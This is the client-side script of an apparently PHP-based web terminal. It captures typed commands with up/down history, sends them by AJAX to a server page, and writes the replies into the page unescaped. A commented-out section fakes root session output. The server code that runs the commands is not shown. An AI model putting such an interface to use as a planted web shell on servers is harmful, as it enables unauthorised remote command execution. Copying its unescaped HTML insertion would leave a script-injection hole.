/*
	SHELL.JS.PHP
	(c) inxhune | www.inxhune.com
*/

var CommandHistory = [];
var CommandHistoryPointer = 0;

function getCommand(object, e, serverPage) {
	var keycode = e.which || e.keyCode;
	if (keycode == 38) {
		CommandHistoryPointer--;
		if (CommandHistoryPointer < 0) { CommandHistoryPointer = 0; }
		object.value = CommandHistory[CommandHistoryPointer];
	} else if (keycode == 40) {
		CommandHistoryPointer++;
		if (CommandHistory.length - 1 < CommandHistoryPointer) { CommandHistoryPointer = CommandHistory.length - 1; }
		object.value = CommandHistory[CommandHistoryPointer];
	} else if (keycode == 13) {
		if (object.value != "") { CommandHistory.push(object.value); CommandHistoryPointer = CommandHistory.length; }
		if (object.value == "clear") {
			var commandline = $$("command")[0].parentNode.cloneNode(true);
			commandline.getElementsByTagName("INPUT")[0].readOnly = false;
			commandline.getElementsByTagName("INPUT")[0].value = "";
			$("shell").innerHTML = "";
			$("shell").appendChild(commandline);
			commandline.getElementsByTagName("INPUT")[0].focus();
			return;
		}
/*
		if (object.value == "who") {
			var commandline = $$("command")[0].parentNode.cloneNode(true);
			commandline.getElementsByTagName("INPUT")[0].readOnly = false;
			commandline.getElementsByTagName("INPUT")[0].value = "";
			$("shell").innerHTML = "root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pts/0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<?php echo date("Y-m-d H:i:s"); ?> (<?php echo $_SERVER['REMOTE_ADDR']; ?>)";
			$("shell").appendChild(commandline);
			commandline.getElementsByTagName("INPUT")[0].focus();
			return;
		}
		if (object.value == "hostname") {
			var commandline = $$("command")[0].parentNode.cloneNode(true);
			commandline.getElementsByTagName("INPUT")[0].readOnly = false;
			commandline.getElementsByTagName("INPUT")[0].value = "";
			$("shell").innerHTML = "<?php echo $_SERVER['HTTP_HOST']; ?>";
			$("shell").appendChild(commandline);
			commandline.getElementsByTagName("INPUT")[0].focus();
			return;
		}
		if (object.value == "date") {
			var commandline = $$("command")[0].parentNode.cloneNode(true);
			commandline.getElementsByTagName("INPUT")[0].readOnly = false;
			commandline.getElementsByTagName("INPUT")[0].value = "";
			$("shell").innerHTML = "<?php echo date("D M j G:i:s T Y"); ?>";
			$("shell").appendChild(commandline);
			commandline.getElementsByTagName("INPUT")[0].focus();
			return;
		}
*/
		var request = new Ajax("POST", serverPage, true, "TEXT", "command=" + encodeURIComponent(object.value), function () {
			var lastCommandLine = $$("command")[$$("command").length - 1].parentNode;
			var commandline = lastCommandLine.cloneNode(true);
			commandline.getElementsByTagName("INPUT")[0].value = "";
			lastCommandLine.getElementsByTagName("INPUT")[0].readOnly = true;
			lastCommandLine.getElementsByTagName("INPUT")[0].onkeydown = null;
			var newCommand = document.createElement("DIV");
			newCommand.innerHTML = "<pre class='commandline'>" + request.Result + "</pre>";
			$("shell").appendChild(newCommand);
			$("shell").appendChild(commandline);
			commandline.getElementsByTagName("INPUT")[0].focus();
			request = null;
		}, null, null);
	}
}

